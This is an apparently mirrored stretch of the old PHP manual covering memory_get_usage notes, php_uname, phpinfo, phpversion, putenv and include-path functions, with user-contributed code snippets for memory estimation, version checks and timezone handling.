grey - greywyvern - com
18-Aug-2005 03:37
If nothing else in the user notes below works for you, you can get a very (VERY) rough estimate of PHP memory usage by outputting the $GLOBALS array, stripping it of indentation whitespace, and counting the characters in the resulting string.  This method has a very high overhead (to be expected), but works on all operating systems, regardless of whether or not they have the --enable-memory-limit config option set.  I find that the syntax overhead of the print_r() statement roughly accounts for the PHP runtime base memory usage.

The code below is set up to work on all arrays, not just the $GLOBALS array.  Keep in mind that outside data referenced by resource IDs, such as database results and open file data, is not included in this total.

<?php

function array_size($arr) {
  ob_start();
  print_r($arr);
  $mem = ob_get_contents();
  ob_end_clean();
  $mem = preg_replace("/\n +/", "", $mem);
  $mem = strlen($mem);
  return $mem;
}

$memEstimate = array_size($GLOBALS);

?>

Use only if being off to either side by at least 20% is acceptible for your purposes.
vesa dot kivisto at nepton dot fi
14-Jul-2005 09:02
I was unable to get the previous examples working properly and created code which works at least for me. Enjoy!

// Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html
// This is because win/2000 itself does not provide a task list utility.
//
function getMemoryUsage() {

 // try to use PHP build in function
 if( function_exists('memory_get_usage') ) {
  return memory_get_usage();
 }

 // Try to get Windows memory usage via pslist command
 if ( substr(PHP_OS,0,3) == 'WIN') {

  $resultRow = 8;
  $resultRowItemStartPosition = 34;
  $resultRowItemLength = 8;

  $output = array();
  exec('pslist -m ' . getmypid() , $output);

  return trim(substr($output[$resultRow], $resultRowItemStartPosition, $resultRowItemLength)) . ' KB';

 }

 // No memory functionality available at all
 return '<b style="color: red;">no value</b>';

}
guenter_doege at web dot de
11-Jul-2005 02:28
The Win XP / 2003 workaround script will also work with windows 2000 with a few slight modifications.

Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html because win/2000 itself does not provide a task list utility.

<?php

function getMemUsage()
{

       if (function_exists('memory_get_usage'))
       {
           return memory_get_usage();
       }
       else if ( substr(PHP_OS,0,3) == 'WIN')
       {
           // Windows 2000 workaround

           $output = array();
           exec('pslist ' . getmypid() , $output);
           return trim(substr($output[8],38,10));
       }
       else
       {
           return '<b style="color: red;">no value</b>';
       }
}
?>
MagicalTux at FF dot st
25-May-2005 03:08
When you need to get the OS, do not use $_SERVER['OS'] or $_ENV['OS'], better use PHP_OS constant !
<?php
if (substr(PHP_OS,0,3)=='WIN') {
  // [...]
}
?>

You also have other values such as CYGWIN_NT-5.0, Linux, ... this is the best way to get system's os (anyone on linux can do an "export OS=windows")
webNOSPAMsjwans at hotmail dot com
01-Dec-2004 11:09
A quick and dirty Windows XP / 2003 wordaround:

<?php

function getMemUsage()
{

       if (function_exists('memory_get_usage'))
       {
           return memory_get_usage();
       }
       else if ( strpos( strtolower($_SERVER["OS"]), 'windows') !== false)
       {
           // Windows workaround
           $output = array();

           exec('tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output);
           return substr($output[5], strpos($output[5], ':') + 1);
       }
       else
       {
           return '<b style="color: red;">no value</b>';
       }
}

?>
randolphothegreat at yahoo dot com
30-Nov-2004 05:37
I'd just like to point out that although sandeepc at myrealbox dot com's idea for displaying the current memory usage is a good one, it's perhaps a bad idea to pipe the entire process list through grep. A better performing method would be to select only the process we're interested in:

<?
$pid = getmypid();
error_log('MEMORY USAGE (% KB PID ): ' . `ps --pid $pid --no-headers -o%mem,rss,pid`);
?>

True, it's not much of a performance boost, but every bit helps.
ad-rotator.com
15-May-2004 01:31
The method sandeepc at myrealbox dot com posted yields larger memory usage, my guess is that it includes all the PHP interpreter/internal code and not just the script being run.

1) Use ps command
MEMORY USAGE (% KB PID ):  0.8 12588 25087 -> about 12MB
2) Use memory_get_usage()
int(6041952) -> about 6MB
sandeepc at myrealbox dot com
12-Nov-2003 01:15
To get this in pre 4.2.3 do a (works on unix like systems only):

$my_pid = getmypid();
error_log("MEMORY USAGE (% KB PID ): ".`ps -eo%mem,rss,pid | grep $my_pid`);

found this tip somewhere in bugs.php.net!
add a note add a note

后退 | 起点 | 前进
main | 上一级 | php_ini_scanned_files


php_ini_scanned_files

(PHP 4 >= 4.3.0, PHP 5)

php_ini_scanned_files -- Return a list of .ini files parsed from the additional ini dir

Description

string php_ini_scanned_files ( void )

php_ini_scanned_files() returns a comma-separated list of configuration files parsed after php.ini. These files are found in a directory defined by the --with-config-file-scan-dir option which is set during compilation.

Returns a comma-separated string of .ini files on success. If the directive --with-config-files-scan-dir wasn't set, FALSE is returned. If it was set and the directory was empty, an empty string is returned. If a file is unrecognizable, the file will still make it into the returned string but a PHP error will also result. This PHP error will be seen both at compile time and while using php_ini_scanned_files().

The returned configuration files also include the path as declared in the --with-config-file-scan-dir option. Also, each comma is followed by a newline.

例子 1. A simple example to list the returned ini files

<?php
if ($filelist = php_ini_scanned_files()) {
    if (strlen($filelist) > 0) {
        $files = explode(',', $filelist);

        foreach ($files as $file) {
            echo "<li>" . trim($file) . "</li>\n";
        }
    }
}
?>

See also ini_set() and phpinfo().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
memory_get_usage | 上一级 | php_logo_guid


php_logo_guid

(PHP 4, PHP 5)

php_logo_guid -- Gets the logo guid

Description

string php_logo_guid ( void )

This function returns the ID which can be used to display the PHP logo using the built-in image. Logo is displayed only if expose_php is On.

例子 1. php_logo_guid() example

<?php

echo '<img src="' . $_SERVER['PHP_SELF'] .
     '?=' . php_logo_guid() . '" alt="PHP Logo !" />';

?>

See also
phpinfo(),
phpversion(),
phpcredits() and
zend_logo_guid().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_ini_scanned_files | 上一级 | php_sapi_name


php_sapi_name

(PHP 4 >= 4.0.1, PHP 5)

php_sapi_name -- Returns the type of interface between web server and PHP

Description

string php_sapi_name ( void )

php_sapi_name() returns a lowercase string which describes the type of interface between web server and PHP (Server API, SAPI). In CGI PHP, this string is "cgi", in mod_php for Apache, this string is "apache" and so on.

例子 1. php_sapi_name() example

<?php
$sapi_type = php_sapi_name();
if (substr($sapi_type, 0, 3) == 'cgi') {
    echo "You are using CGI PHP\n";
} else {
    echo "You are not using CGI PHP\n";
}
?>

add a note add a note User Contributed Notes
cheezy at lumumba dot luc dot ac dot be
14-Jul-2003 12:11
The returned strings can be found in the source code (of course!), this is the list I found (using [ http://lxr.php.net/ident?i=sapi_module_struct ]):

- aolserver
- activescript
- apache
- cgi-fcgi
- cgi
- isapi
- nsapi
- phttpd
- roxen
- java_servlet
- thttpd
- pi3web
- apache2filter
- caudium
- apache2handler
- tux
- webjames
- cli
- embed
- milter
add a note add a note

后退 | 起点 | 前进
php_logo_guid | 上一级 | php_uname


php_uname

(PHP 4 >= 4.0.2, PHP 5)

php_uname -- Returns information about the operating system PHP is running on

Description

string php_uname ( [string mode] )

php_uname() returns a description of the operating system PHP is running on. For the name of just the operating system, consider using the PHP_OS constant, but be reminded this constant will contain the operating system PHP was built on.

On Unix, the output reverts to displaying the operating system information PHP was built on if it cannot determine the currently running OS.

mode is a single character that defines what information is returned:

  • 'a': This is the default. Contains all modes in the sequence "s n r v m".

  • 's': Operating system name. eg. FreeBSD.

  • 'n': Host name. eg. localhost.example.com.

  • 'r': Release name. eg. 5.1.2-RELEASE.

  • 'v': Version information. Varies a lot between operating systems.

  • 'm': Machine type. eg. i386.

例子 1. Some php_uname() examples

<?php
echo php_uname();
echo PHP_OS;

/* Some possible outputs:
Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686
Linux

FreeBSD localhost 3.2-RELEASE #15: Mon Dec 17 08:46:02 GMT 2001
FreeBSD

Windows NT XN1 5.1 build 2600
WINNT
*/

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    echo 'This is a server using Windows!';
} else {
    echo 'This is a server not using Windows!';
}

?>

There are also some related Predefined PHP constants that may come in handy, for example:

例子 2. A few OS related constant examples

<?php
// *nix
echo DIRECTORY_SEPARATOR; // /
echo PHP_SHLIB_SUFFIX;    // so
echo PATH_SEPARATOR;      // :

// Win*
echo DIRECTORY_SEPARATOR; // \
echo PHP_SHLIB_SUFFIX;    // dll
echo PATH_SEPARATOR;      // ;
?>

See also phpversion(),
php_sapi_name(), and
phpinfo().

add a note add a note User Contributed Notes
simon at NOSPAM dot zadra dot org
20-Jan-2006 01:26
Contrary to the last note, PHP_OS does display the OS PHP runs on currently, whereas php_uname() displays the Operating system version via uname.
This has nothing to do with the system PHP was built on.
michiel1978 /*at*/ hotmail /*dot*/ com
12-Dec-2005 06:38
Example 1 in this article is a little bit misleading. The comment on the last block of code says it will output the server's operating system, but in reality (and according to this same article), it will output the operating system on which PHP was built, because it uses the constant PHP_OS.
tac at smokescreen dot org
15-Jan-2005 07:25
In php 4.1.2, php_uname('n') returns a warning about an invalid parameter count.  Change it to @php_uname to hide this warning.
add a note add a note

后退 | 起点 | 前进
php_sapi_name | 上一级 | phpcredits


phpcredits

(PHP 4, PHP 5)

phpcredits -- Prints out the credits for PHP

Description

bool phpcredits ( [int flag] )

This function prints out the credits listing the PHP developers, modules, etc. It generates the appropriate HTML codes to insert the information in a page. flag is optional, and it defaults to CREDITS_ALL. To generate a custom credits page, you may want to use the flag parameter. For example to print the general credits, you will use somewhere in your code:

<?php
phpcredits(CREDITS_GENERAL);
?>

And if you want to print the core developers and the documentation group, in a page of its own, you will use:

<?php
phpcredits(CREDITS_GROUP + CREDITS_DOCS + CREDITS_FULLPAGE);
?>

And if you feel like embedding all the credits in your page, then code like the one below will do it:

<html>
<head>
  <title>My credits page</title>
</head>
<body>
<?php
// some code of your own
phpcredits(CREDITS_ALL - CREDITS_FULLPAGE);
// some more code
?>
 </body>
</html>

表格 1. Pre-defined phpcredits() flags

name | description
CREDITS_ALL | All the credits, equivalent to using: CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_FULLPAGE. It generates a complete stand-alone HTML page with the appropriate tags.
CREDITS_DOCS | The credits for the documentation team
CREDITS_FULLPAGE | Usually used in combination with the other flags. Indicates that a complete stand-alone HTML page needs to be printed including the information indicated by the other flags.
CREDITS_GENERAL | General credits: Language design and concept, PHP 4.0 authors and SAPI module.
CREDITS_GROUP | A list of the core developers
CREDITS_MODULES | A list of the extension modules for PHP, and their authors
CREDITS_SAPI | A list of the server API modules for PHP, and their authors

See also phpinfo(),
phpversion() and
php_logo_guid().

add a note add a note User Contributed Notes
jasper at bryant-greene dot name
05-Sep-2005 03:42
"Also, the generated HTML code only complies with HTML 4.01 or lower, but not as XHTML 1.0 (it uses deprecated attributes, and don't close empty HTML tags explicitly with />)."

That's because it's generated HTML code, like you said, not XHTML code. And you don't close empty HTML tags explicitly with />, only empty XHTML tags.
05-Sep-2002 10:43
Note that each individual Credit page includes currently include a <style> CSS stylesheet, and a centered <h1> title that displays "PHP 4 Credits", before the credits table(s).

So these elements will be repeated on the page if you use successively several phpcredits() calls with distinct flag values.

The embedded stylesheet may corrupt your page layout if you have another stylesheet generated before the content generated by this call. You may need to use an ob_created buffer to capture the ob_contents() after calling this function, in order to eliminate the <h1>title and the <style> CSS stylesheet.

Also, the generated HTML code only complies with HTML 4.01 or lower, but not as XHTML 1.0 (it uses deprecated attributes, and don't close empty HTML tags explicitly with />).

Note that there's no way for now to isolate the credits for a specific extension name (with CREDITS_MODULES) or for a specific SAPI module name (with CREDITS_SAPI).

The GENERAL_CREDITS displays also 2 tables: the first one is "Language Design & Concept", the second one is "PHP4 Authors Contribution" for the main PHP core subprojects (Zend Scripting Language Engine, Extension Module API, Unix Build and Modularization, Win32 Port, SAPI Abstraction Layer).
add a note add a note

后退 | 起点 | 前进
php_uname | 上一级 | phpinfo


phpinfo

(PHP 3, PHP 4, PHP 5)

phpinfo -- Outputs lots of PHP information

Description

bool phpinfo ( [int what] )

Outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

Because every system is setup differently, phpinfo() is commonly used to check configuration settings and for available predefined variables on a given system. Also, phpinfo() is a valuable debugging tool as it contains all EGPCS (Environment, GET, POST, Cookie, Server) data.

The output may be customized by passing one or more of the following constants bitwise values summed together in the optional what parameter. One can also combine the respective constants or bitwise values together with the or operator.

表格 1. phpinfo() options

Name (constant) | Value | Description
INFO_GENERAL | 1 | The configuration line, php.ini location, build date, Web Server, System and more.
INFO_CREDITS | 2 | PHP Credits. See also phpcredits().
INFO_CONFIGURATION | 4 | Current Local and Master values for PHP directives. See also ini_get().
INFO_MODULES | 8 | Loaded modules and their respective settings. See also get_loaded_extensions().
INFO_ENVIRONMENT | 16 | Environment Variable information that's also available in $_ENV.
INFO_VARIABLES | 32 | Shows all predefined variables from EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE | 64 | PHP License information. See also the license FAQ.
INFO_ALL | -1 | Shows all of the above. This is the default value.

例子 1. phpinfo() examples

<?php

// Show all information, defaults to INFO_ALL
phpinfo();

// Show just the module information.
// phpinfo(8) yields identical results.
phpinfo(INFO_MODULES);

?>

注: Parts of the information displayed are disabled when the expose_php configuration setting is set to off. This includes the PHP and Zend logos, and the credits.

注: phpinfo() outputs plain text instead of HTML when using the CLI mode.

See also phpversion(),
phpcredits(),
php_logo_guid(),
ini_get(),
ini_set(),
get_loaded_extensions(),
and the section on Predefined
Variables.

add a note add a note User Contributed Notes
code at adspeed dot com
10-Dec-2005 07:31
This function parses the phpinfo output to get details about a PHP module.

/** parse php modules from phpinfo */
function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
   $vPat = '<info>([^<]+)<\/info>';
   $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
   $vPat2 = "/$vPat\s*$vPat/";
   if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
   } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
   }
   }
  }
 }
 return $vModules;
}

Sample Output:
[gd] => Array
(
  [GD Support] => enabled
  [GD Version] => bundled (2.0.28 compatible)
  [FreeType Support] => enabled
  [FreeType Linkage] => with freetype
  [FreeType Version] => 2.1.9
  [T1Lib Support] => enabled
  [GIF Read Support] => enabled
  [GIF Create Support] => enabled
  [JPG Support] => enabled
  [PNG Support] => enabled
  [WBMP Support] => enabled
  [XBM Support] => enabled
)

[date] => Array (
  [date/time support] => enabled
  [Timezone Database Version] => 2005.14
  [Timezone Database] => internal
  [Default timezone] => America/Los_Angeles
  [Directive] => Array (
     [0] => Local Value
     [1] => Master Value
  )
  [date.timezone] => Array (
     [0] => no value
     [1] => no value
  )
 )

/** get a module setting */
function getModuleSetting($pModuleName,$pSetting) {
 $vModules = parsePHPModules();
 return $vModules[$pModuleName][$pSetting];
}
Example: getModuleSetting('gd','GD Version'); returns "bundled (2.0.28 compatible)"
Helpful Harry
06-Oct-2005 11:38
check out this cool and fantastic colourful phpinfo()!

<?php

ob_start();
phpinfo();
$phpinfo = ob_get_contents();
ob_end_clean();

preg_match_all('/#[0-9a-fA-F]{6}/', $phpinfo, $rawmatches);
for ($i = 0; $i < count($rawmatches[0]); $i++)
   $matches[] = $rawmatches[0][$i];
$matches = array_unique($matches);

$hexvalue = '0123456789abcdef';

$j = 0;
foreach ($matches as $match)
{

   $r = '#';
   $searches[$j] = $match;
   for ($i = 0; $i < 6; $i++)
     $r .= substr($hexvalue, mt_rand(0, 15), 1);
   $replacements[$j++] = $r;
   unset($r);
}

for ($i = 0; $i < count($searches); $i++)
   $phpinfo = str_replace($searches, $replacements, $phpinfo);
echo $phpinfo;
?>
add a note add a note

后退 | 起点 | 前进
phpcredits | 上一级 | phpversion


phpversion

(PHP 3, PHP 4, PHP 5)

phpversion -- Gets the current PHP version

Description

string phpversion ( [string extension] )

Returns a string containing the version of the currently running PHP parser. If the optional extension parameter is specified, phpversion() returns the version of that extension, or FALSE if there is no version information associated or the extension isn't enabled.

注: This information is also available in the predefined constant PHP_VERSION.

例子 1. phpversion() example

<?php
// prints e.g. 'Current PHP version: 4.1.1'
echo 'Current PHP version: ' . phpversion();

// prints e.g. '2.0' or nothing if the extension isn't enabled
echo phpversion('tidy');
?>

See also
version_compare(),
phpinfo(),
phpcredits(),
php_logo_guid(), and
zend_version().

add a note add a note User Contributed Notes
26-Oct-2005 01:08
The version 4.3.10-16 does not "respect" the requiement for the above code. Use this fuction.

sample call:
if(!check_version(PHP_VERSION, "4.1.0") )
{
   echo 'Current PHP version: ' . PHP_VERSION . ' is too low for this code!<p>';
}

Function:
# Compares versions of software
# versions must must use the format ' x.y.z... '
# where (x, y, z) are numbers in [0-9]

function check_version($currentversion, $requiredversion)
{
   list($majorC, $minorC, $editC) = split('[/.-]', $currentversion);
   list($majorR, $minorR, $editR) = split('[/.-]', $requiredversion);

   if ($majorC > $majorR) return true;
   if ($majorC < $majorR) return false;
   // same major - check ninor
   if ($minorC > $minorR) return true;
   if ($minorC < $minorR) return false;
   // and same minor
   if ($editC  >= $editR)  return true;
   return false;
}
nick at divbyzero dot com
29-Jul-2005 04:06
Of course, if you want to COMPARE versions, you can't just compare them numerically, so try something like:

<?php
echo phpversion()."\n"; //4.3.10-15
$v2 = preg_replace("/[^0-9\.]+/","",phpversion()); //4.3.1015
$v=$v2-0; // 4.3
$v2=substr($v2,strlen($v."")+1); //1015
echo $v." ".$v2."\n";

echo ($v>4.3 || ($v==4.3 && $v2>=1))."\n"; // 1 if >= 4.3.1
?>
ground-pilot at net-pilots.com
23-Jan-2005 03:52
Difference from bleeding edge server and production server where I couldn't use the phpversion() function. Came up with this to grab it from the command line instead. Note that the 'command line' version result , and 'http server api' version result could be two or more different versions, and not matching each other. So this may return a misleading value for your environment? Be careful if you have updated the web server api and not the command line, or visa-versa. ;)

But for me - it works.

<?php
$PHP_VERSION = get_my_phpver();

echo "PHP_VERSION = $PHP_VERSION<br>";

function get_my_phpver() {
// USE :
//  $PHP_VERSION = get_my_phpver();
// CAVEAT NOTES :
//  exec() will only return last line
//  passthru() will always show output, even when you ob_start() the output.
//  shell_exec() will return ALL lines of output but not forced
   $my_phpver = trim(substr(shell_exec('php -v'), 3, 6));
   // returns "4.3.1" of "PHP 4.3.1 (cgi)..." and removes white spaces
   return $my_phpver;
}
?>

Of course this would also do the trick...

<?php
$PHP_VERSION = trim(substr(shell_exec('php -v'), 3, 6));
echo "PHP_VERSION = $PHP_VERSION<br>";
?>

And as always, there are OTHER method, but this works for me.

Hope this helps someone else out as well. :)
add a note add a note

后退 | 起点 | 前进
phpinfo | 上一级 | putenv


putenv

(PHP 3, PHP 4, PHP 5)

putenv -- Sets the value of an environment variable

Description

bool putenv ( string setting )

Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.

Setting certain environment variables may be a potential security breach. The safe_mode_allowed_env_vars directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied by this directive. By default, users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, PHP will let the user modify ANY environment variable!

The safe_mode_protected_env_vars directive contains a comma-delimited list of environment variables, that the end user won't be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them.

警告

These directives have only effect when safe-mode itself is enabled!

例子 1. Setting an environment variable

<?php
putenv("UNIQID=$uniqid");
?>

See also getenv().

add a note add a note User Contributed Notes
povaddict
05-Jun-2006 08:18
av01 at bugfix dot cc:

"putenv('MYVAR='); // unset, otherwise this will pass when run the next time"
it won't pass when run next time, "At the end of the request the environment is restored to its original state."
av01 at bugfix dot cc
03-Oct-2005 10:32
Please be aware, that using putenv() does NOT effect the superglobal $_ENV[] variable. If you want to, set it seperately

<?php
  putenv('MYVAR=hello');
  assert(getenv('MYVAR') == 'hello'); // passes
  assert($_ENV['MYVAR'] == 'hello'); // fails!
  putenv('MYVAR='); // unset, otherwise this will pass when run the next time
?>
EricZ <ezsomething at notthere dot com>
22-Sep-2005 04:29
I posted some code to help load this file, but it got pruned
out by the folks monitoring php.net.  Anyway, the format can
be loaded from third column of '/usr/share/zoneinfo/zone.tab',
available on every Linux platform I've logged into thus far.
For NYC, it looks like this: "America/New_York". There are
also generic CST/PST but then you have to be careful when
daylight savings switches.
EricZ <ezsomethign at notthere dot com>
22-Sep-2005 04:02
Okay, so here's the format that TZ is looking for
"America/New_York".  You can get all of the timezones
from a single file on most unix systems.  This code works
on all Linux systems that I have seen (various redhat/deb)
where you can find this file...  And now you have a nice,
one level nested timezone list by country.

<?php
     // -- first part, gather all of the zone data
     $zoneSource = '/usr/share/zoneinfo/zone.tab';
     $zoneHandle = fopen($zoneSource, "r");
     if (!$zoneHandle) return NULL;                  //bad file, abort now
     while (!feof($zoneHandle)) {
       $zoneLine = ltrim(fgets($zoneHandle, 4096));
       if ($zoneLine[0]=='#')  continue;          //skip comments
         //Columns...
         // 1.  ISO 3166 2-character country code.
         // 2.  Latitude and longitude of the zone's principal location
         // 3.  Zone name used in value of TZ environment variable.
         // 4.  Comments; present if and only if country has multiple rows.
       $zoneParts = explode("\t",$zoneLine);      //grab parts
       if (count($zoneParts) < 3) continue;      //erroneous line!
       $nameParts = explode('/', $zoneParts[2], 2);  //grab country/name
       $zoneKey = $nameParts[0];                  //country or area

       $insertArray = &$zoneNames;                //where to insert?
       if (count($nameParts) > 1) {                //area/populous
         if (!isset($zoneNames[$zoneKey]))        //not set before
           $zoneNames[$zoneKey] = array();
         $insertArray = &$zoneNames[$zoneKey];    //grab sub (country)
         $zoneKey = trim($nameParts[1]);          //grab correct key
       }
       $zoneKey = preg_replace('/[_]/',' ', $zoneKey);
       $insertArray[$zoneKey] = trim($zoneParts[2]); //actually set data
     }                                            //end while not eof
     fclose($zoneHandle);
?>
Eric Z <ezsomething at notthere dot com>
22-Sep-2005 03:58
Hello, actually in answer to your question, I use putenv
regularly to control the timezone info.  Here's the code that
sets both the local environment and SQL to the right
timezone.  I also use it when running a cvs client through the
web.  I will post what format it's looking for next.

<?php
     //this isn't the most graceful approach, but if it's set, set the tz
     if (isset($_SESSION[BEE_PROFILE_TZOFFSET])) {
       putenv('TZ='.$_SESSION[BEE_PROFILE_TZOFFSET]);
       //format the timezone for SQL
       $timeZone = preg_replace('/([+-]\d{2})(\d{2})/',
                                             '\'\1:\2\'', date('O'));
       mysql_query('SET time_zone='.$timeZone);
     }
?>
otie at ev1 dot net
27-Mar-2005 12:02
trying to change timezones using putenv:
In my case (php 4.2.2) (redhat 2.4.21-1.1931.2.274) TZ does not show up in either the PHP or Linux environment. I'm not sure what the format for TZ is. I tried TZ=EST5EDT. It seemed to work. When I started a session with another browser, it worked there too. Even though I didn't change the environment there.... Hmmm.
When I ran the test without the putenv... the date() function would sometimes show CST (my zone), sometimes EST. Every time I reloaded the page, the time would change zones. All times from a database - not time() time.
Restoring my TZ=CST didn't help. The times would still switch back and forth.
I finally restarted Apache. That worked. The times are now stable.
I think the only solution is subtracting (or adding) the appropriate time difference from the time stamp.

I wonder what the time functions are looking at.

O.
Iavor
08-Feb-2005 06:06
Compare to apache_setenv() and apache_getenv().

I had a case setting an env var in VirtualHost which I tried to change with putenv() - but did not work.

apache_setenv() worked.
cap at capsi dot com
28-Mar-2003 02:18
I've been using putenv with PHP 4.3.1 and Apache 2.0.44, but it does not seem to restore variables correctly. I'm getting +0100 and -0800 entries all across my Apache logs. Manually adding a putenv in page footers to restore the original value seems to fix things, but I still wish I could set the time zone for a specific request only.

I'm not sure whether using putenv affects all threads within the process, that could be another problem.
verkoop at it-design dot com
08-Mar-2001 07:19
for those who have problems with the putenv ('TZ=Europe/Amsterdam').
I found that there is a solution/work-a-round. It will work, but only if you add  mktime(0,0,0,1,1,1970) on the next line. So:

putenv ('TZ=Europe/Amsterdam');
mktime(0,0,0,1,1,1970)
echo date("H:i:s");
johnhill at webtendon dot com
11-Feb-2001 05:46
Here is an example of using putenv to change the timezone for the current script.  You would have to add a putenv() call to each page in which you wanted to change the timezone.  This was posted here about a year ago...I forgot the author's name.  He mentioned to "see the zoneinfo directory-tree on your System for a list". This is usually /usr/share/zoneinfo or /usr/lib/zoneinfo.  It works in PHP3, not sure about PHP4.

  //Set the Timezone
print("server timezone is: " . getenv('TZ') . "<br>\n");
  print("server time is: " . date("H:i:s") . "<br><br>\n");
  print("changing server time zone to US/Pacific....<br><br>\n");
  putenv("TZ=US/Pacific");
  print("new server time is: " . date("H:i:s") . "<br>\n");
  print("new server timezone for this script is: " . getenv('TZ'));

some Unix servers may use a different format for TZ.  Example: putenv("TZ=PST8EDT");
david dot boyce at messagingdirect dot comnospam
14-Sep-2000 01:23
Environment variables are part of the underlying operating system's
way of doing things, and are used to pass information between a parent
process and its child, as well as to affect the way some internal
functions behave.  They should not be regarded as ordinary PHP
variables.

A primary purpose of setting environment variables in a PHP script is
so that they are available to processes invoked by that script using
e.g. the system() function, and it's unlikely that they would need to
be changed for other reasons.

For example, if a particular system command required a special value
of the environment variable LD_LIBRARY_PATH to execute successfully,
then the following code might be used on a *NIX system:

 $saved = getenv("LD_LIBRARY_PATH");        // save old value
 $newld = "/extra/library/dir:/another/path/to/lib";  // extra paths to add
 if ($saved) { $newld .= ":$saved"; }          // append old paths if any
 putenv("LD_LIBRARY_PATH=$newld");        // set new value
 system("mycommand -with args");        // do system command;
                       // mycommand is loaded using
                       // libs in the new path list
 putenv("LD_LIBRARY_PATH=$saved");        // restore old value

It will usually be appropriate to restore the old value after use;
LD_LIBRARY_PATH is a particularly good example of a variable which it
is important to restore immediately, as it is used by internal
functions.

If php.ini configuration allows, the values of environment variables
are made available as PHP global variables on entry to a script, but
these global variables are merely copies and do not track the actual
environment variables once the script is entered.  Changing
$REMOTE_ADDR (or even $HTTP_ENV_VARS["REMOTE_ADDR"]) should not be
expected to affect the actual environment variable; this is why
putenv() is needed.

Finally, do not rely on environment variables maintaining the same
value from one script invocation to the next, especially if you have
used putenv().  The result depends on many factors, such as CGI vs
apache module, and the exact way in which the environment is
manipulated before entering the script.
add a note add a note

后退 | 起点 | 前进
phpversion | 上一级 | restore_include_path


restore_include_path

(PHP 4 >= 4.3.0, PHP 5)

restore_include_path -- Restores the value of the include_path configuration option

Description

void restore_include_path ( void )

Restores the include_path configuration option back to its original master value as set in php.ini

例子 1. restore_include_path() example

<?php

echo get_include_path();  // .:/usr/local/lib/php

set_include_path('/inc');

echo get_include_path();  // /inc

// Works as of PHP 4.3.0
restore_include_path();

// Works in all PHP versions
ini_restore('include_path');

echo get_include_path();  // .:/usr/local/lib/php

?>

See also ini_restore(),
set_include_path(),
get_include_path(), and
include().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
putenv | 上一级 | set_include_path


set_include_path

(PHP 4 >= 4.3.0, PHP 5)

set_include_path -- Sets the include_path configuration option

Description

string set_include_path ( string new_include_path )

Sets the include_path configuration option for the duration of the script. Returns the old include_path on success or FALSE on failure.

例子 1. set_include_path() example

<?php
// Works as of PHP 4.3.0
set_include_path('/inc');

// Works in all PHP versions
ini_set('include_path', '/inc');
?>

例子 2. Adding to the include path

Making use of the PATH_SEPARATOR constant, it is possible to extend the include path regardless of the operating system.

In this example we add /usr/lib/pear to the end of the existing include_path.

<?php
$path = '/usr/lib/pear';
set_include_path(get_include_path() . PATH_SEPARATOR . $path);
?>

See also ini_set(),
get_include_path(),
restore_include_path(), and
include().

add a note add a note User Contributed Notes
junya at xs4all dot nl
28-Jan-2005 09:41
When you use .htaccess to set the include path, don't forget Apache directive 'AllowOverride Options' or 'AllowOverride All' is also needed.
df a t dougfelton d o t c o m
25-Jan-2005 11:37
In order to use .htaccess files to set the include path, PHP must be installed as an Apache module. If PHP is compiled as a CGI binary, you can set the include path in a custom php.ini file (if, for example, you're being hosted somewhere and don't have access to the main php.ini file.  Note that custom php.ini files don't affect subdirectories in the way that .htaccess files do, so you'll need to put your custom php.ini file in any subdirectories as well.
Robin Millette at http://rym dot waglo dot com/
13-Dec-2004 10:54
Since the path separator is platform dependant, PHP provides the PATH_SEPARATOR magic constant, showing up as a colon ( : ) on this GNU/Linux machine.
r dot s dot goldsmith at far-blue dot co dot uk
08-Dec-2004 07:23
If you want to set the paths php uses to find included files on a directory by directory level, you can do so in Apache's .htaccess file. Add the line:

php_value include_path  "<first path to look>:<second path>:<etc>:."

to the .htaccess file. This will replace any paths set in your environment or the php.ini file so remember to include the path to php's own libraries as, usually, the first option!

V.useful tip given to me by the 'php guy' at Edinburgh Uni's Computing Support.
add a note add a note

后退 | 起点 | 前进
restore_include_path | 上一级 | set_magic_quotes_runtime


set_magic_quotes_runtime

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

set_magic_quotes_runtime -- Sets the current active configuration setting of magic_quotes_runtime

Description

bool set_magic_quotes_runtime ( int new_setting )

Set the current active configuration setting of magic_quotes_runtime (0 for off, 1 for on).

See also: get_magic_quotes_gpc() and get_magic_quotes_runtime().

